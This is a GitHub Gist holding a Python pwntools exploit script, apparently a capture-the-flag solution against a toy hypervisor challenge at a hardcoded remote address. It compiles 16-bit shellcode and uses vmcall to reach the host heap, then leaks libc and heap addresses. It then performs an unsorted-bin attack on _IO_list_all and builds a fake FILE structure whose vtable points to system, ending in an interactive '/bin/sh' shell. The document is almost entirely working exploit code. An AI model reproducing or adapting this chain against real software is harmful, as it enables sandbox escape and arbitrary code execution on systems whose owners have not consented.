Created
July 30, 2018 10:19
-
-
Save spq/39e56f278fbf8fd2084bac9e96fb4775 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
code = """ | |
BITS 16 | |
begin: | |
times (0x1f3-2) nop | |
jmp main | |
puts: | |
push cx | |
push dx | |
push si | |
mov cx, bx | |
mov si, ax | |
loc_1FA: | |
mov al, [si] | |
out 17h, al | |
inc si | |
loop loc_1FA | |
pop si | |
pop dx | |
pop cx | |
retn | |
gets: | |
push cx | |
push dx | |
push si | |
mov cx, bx | |
mov si, ax | |
loc_20C: | |
in al, 17h | |
mov [si], al | |
inc si | |
loop loc_20C | |
pop si | |
pop dx | |
pop cx | |
retn | |
buffer: | |
times 0x20 db 0 | |
bufferend: | |
main: | |
mov ax, begin | |
mov bx, 0x100 | |
call gets | |
push main | |
jmp begin | |
""" | |
from pwn import * | |
#r = process('./0e73066d87ff433989805349cfddc758') | |
r = remote("34.236.229.208", 9999) | |
def alloc1(sz): | |
r.sendafter('Your choice:', '1') | |
r.sendafter('Size:', p16(sz)) | |
def w(idx, data): | |
r.sendafter('Your choice:', '2') | |
r.sendafter('Index:', p8(idx)) | |
r.sendafter('Content:', data) | |
alloc1(0x1000-1) | |
for _ in range(0xb): | |
alloc1(0x1000) | |
def do_compile(code): | |
open("/tmp/nasm.in", "w").write(code) | |
os.system("nasm -o /tmp/nasm.out -- /tmp/nasm.in") | |
code=open("/tmp/nasm.out").read() | |
os.system("ndisasm -b 16 /tmp/nasm.out") | |
return code | |
code = do_compile(code) | |
code = ("X" + code).ljust(0x1000, "\xf4") | |
w(0xb, code) | |
def read_bytes(where, length=1): | |
code = do_compile("""BITS 16 | |
mov si, """ + hex(where) + """ | |
mov di, """ + hex(0xffff & (where + length)) + """ | |
next: | |
mov al, [si] | |
out 17h, al | |
inc si | |
cmp si, di | |
jne next | |
ret""") | |
r.send(code.ljust(0x100)) | |
d = r.recvn(length) | |
return d | |
def write_bytes(where, what): | |
for i in xrange(0, len(what), 32): | |
code = "BITS 16\nmov si, " + hex(where + i) + "\n" | |
for c in what[i:][:32]: | |
code += "mov al, " + hex(ord(c)) + "\nmov [si], al\ninc si\n" | |
code += "ret" | |
code = do_compile(code) | |
r.send(code.ljust(0x100)) | |
def vmcall(ax, bx=0, cx=0, dx=0): | |
code = do_compile("""BITS 16 | |
mov ax, """ + hex(ax) + """ | |
mov bx, """ + hex(bx) + """ | |
mov cx, """ + hex(cx) + """ | |
mov dx, """ + hex(dx) + """ | |
push 0x100 | |
popf | |
nop | |
vmcall | |
nop | |
push 0 | |
popf | |
ret""") | |
r.send(code.ljust(0x100)) | |
def alloc(sz): | |
assert(sz >= 0x80) | |
assert(sz <= 0x1000) | |
vmcall(0x100, sz) | |
def free(idx, mode=3): | |
assert(mode in (1,2,3)) | |
vmcall(0x101, mode, idx) | |
def print_alloc(idx, length): | |
write_bytes(0x4000, "A" * length) | |
vmcall(0x102, 2, idx, length) | |
d = read_bytes(0x4000, length) | |
return d | |
def write_alloc(idx, content): | |
write_bytes(0x4000, content) | |
vmcall(0x102, 1, idx, len(content)) | |
context.arch = 'amd64' | |
alloc(0x1000) # 0 | |
alloc(0x80) # 1 | |
alloc(0x80) # 2 | |
alloc(0x80) # 3 | |
free(0, 1) | |
free(2, 1) | |
libc = u64(print_alloc(0, 8)[:8]) - 0x3c4b78 | |
heap = u64(print_alloc(0, 16)[8:16]) - 0x10a0 | |
print 'libc', hex(libc) | |
print 'heap', hex(heap) | |
free(1, 1) | |
free(3, 1) | |
# cleaned up | |
alloc(0x80) # 4 | |
alloc(0x80) # 5 // overwrite size to 0x61 | |
alloc(0x80) # 6 | |
free(5, 1) | |
write_alloc(0, fit({0x88: p64(0x61), 0x90: p64(libc+0x3c4b78)*2, 0x88+0x60-8: flat(0x60, 0x20), 0x88+0x60+0x20: 0x21}, filler='\x00')) | |
alloc(0x200) # 7 | |
alloc(0x80) # 8 | |
alloc(0x80) # 9 | |
free(8, 1) | |
io_list_all = libc+0x3c5520 | |
where = io_list_all | |
write_alloc(8, fit({8: where-0x10}, filler='\x00')) | |
fake_chunk = '/bin/sh\x00'+p64(0x61) | |
fake_chunk += p64(0xdeadbeef)+p64(0xdeadbeef) | |
fake_chunk += p64(0) + p64(1) # _IO_write_ptr _IO_write_base | |
fake_chunk = fake_chunk.ljust(0xc0,'\x00') | |
fake_chunk += p64(0) # mode | |
fake_chunk += p64(0) | |
fake_chunk += p64(0) | |
fake_chunk += p64(heap+0x10) # vtable | |
fake_chunk += p64(1) | |
fake_chunk += p64(2) | |
fake_chunk += p64(3) | |
system = libc+0x45390 | |
write_alloc(0, fit({24: system, 0x80: fake_chunk}, filler='\x00')) | |
from time import sleep | |
alloc(0x80) | |
sleep(0.5) | |
free(0, 1) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment